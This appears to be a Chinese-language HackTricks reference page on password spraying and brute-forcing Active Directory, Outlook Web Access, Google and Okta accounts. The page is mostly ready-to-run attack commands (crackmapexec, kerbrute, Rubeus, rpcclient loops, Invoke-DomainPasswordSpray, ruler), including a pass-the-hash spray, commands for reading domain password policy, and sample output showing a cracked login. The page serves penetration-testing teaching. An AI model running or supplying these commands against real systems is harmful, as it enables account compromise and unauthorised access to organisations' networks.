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https://github.com/carlospolop/hacktricks
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155 lines
7.8 KiB
Markdown
155 lines
7.8 KiB
Markdown
# 密码喷涂 / 暴力破解
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>！</strong></summary>
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支持HackTricks的其他方式：
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* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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## **密码喷涂**
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一旦您找到了几个**有效的用户名**，您可以尝试使用最**常见的密码**（记住环境的密码策略）对每个发现的用户进行尝试。\
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**默认情况下**，**最小** **密码** **长度**为**7**。
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常见用户名列表也可能有用：[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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请注意，如果您尝试了几次错误的密码，**可能会锁定一些账户**（默认情况下超过10次）。
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### 获取密码策略
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如果您有一些用户凭据或作为域用户的shell，您可以**使用以下方法获取密码策略**：
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```bash
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# From Linux
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crackmapexec <IP> -u 'user' -p 'password' --pass-pol
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enum4linux -u 'username' -p 'password' -P <IP>
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rpcclient -U "" -N 10.10.10.10;
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rpcclient $>querydominfo
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ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
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# From Windows
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net accounts
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(Get-DomainPolicy)."SystemAccess" #From powerview
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```
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### 从Linux（或全部）进行利用
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* 使用 **crackmapexec:**
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```bash
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crackmapexec smb <IP> -u users.txt -p passwords.txt
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# Local Auth Spray (once you found some local admin pass or hash)
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## --local-auth flag indicate to only try 1 time per machine
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crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
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```
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* 使用 [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
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```bash
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# Password Spraying
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./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
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# Brute-Force
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
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```
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* [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免账户锁定):**_
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```bash
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spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
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```
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* 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 有时不推荐，可能无法工作
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```bash
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python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
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python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
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```
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* 使用 **Metasploit** 的 `scanner/smb/smb_login` 模块：
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 (1).png>)
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* 使用 **rpcclient**：
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```bash
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# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
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for u in $(cat users.txt); do
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rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
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done
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```
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#### 从Windows
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* 使用带有暴力模块的[Rubeus](https://github.com/Zer1t0/Rubeus)版本：
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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* 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)（它可以默认从域生成用户，并且会从域获取密码策略，并根据策略限制尝试次数）：
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```powershell
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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* 使用 [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
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```
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Invoke-SprayEmptyPassword
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```
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## 暴力破解
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{% code overflow="wrap" %}
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```bash
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legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
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```
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{% endcode %}
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## Outlook Web Access
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有多种工具可以进行**Outlook 密码喷涂**。
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* 使用 [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
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* 使用 [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
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* 使用 [Ruler](https://github.com/sensepost/ruler)（可靠！）
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* 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)（Powershell）
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* 使用 [MailSniper](https://github.com/dafthack/MailSniper)（Powershell）
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要使用这些工具中的任何一个，你需要一个用户列表和一个密码/少量密码来喷涂。
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```bash
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./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
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[x] Failed: larsson:Summer2020
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[x] Failed: cube0x0:Summer2020
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[x] Failed: a.admin:Summer2020
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[x] Failed: c.cube:Summer2020
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[+] Success: s.svensson:Summer2020
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```
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## Google
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* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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## Okta
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* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
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* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
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## 参考资料
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* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
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* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
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* www.blackhillsinfosec.com/?p=5296
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* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
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<details>
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<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击！</strong></summary>
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支持HackTricks的其他方式：
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* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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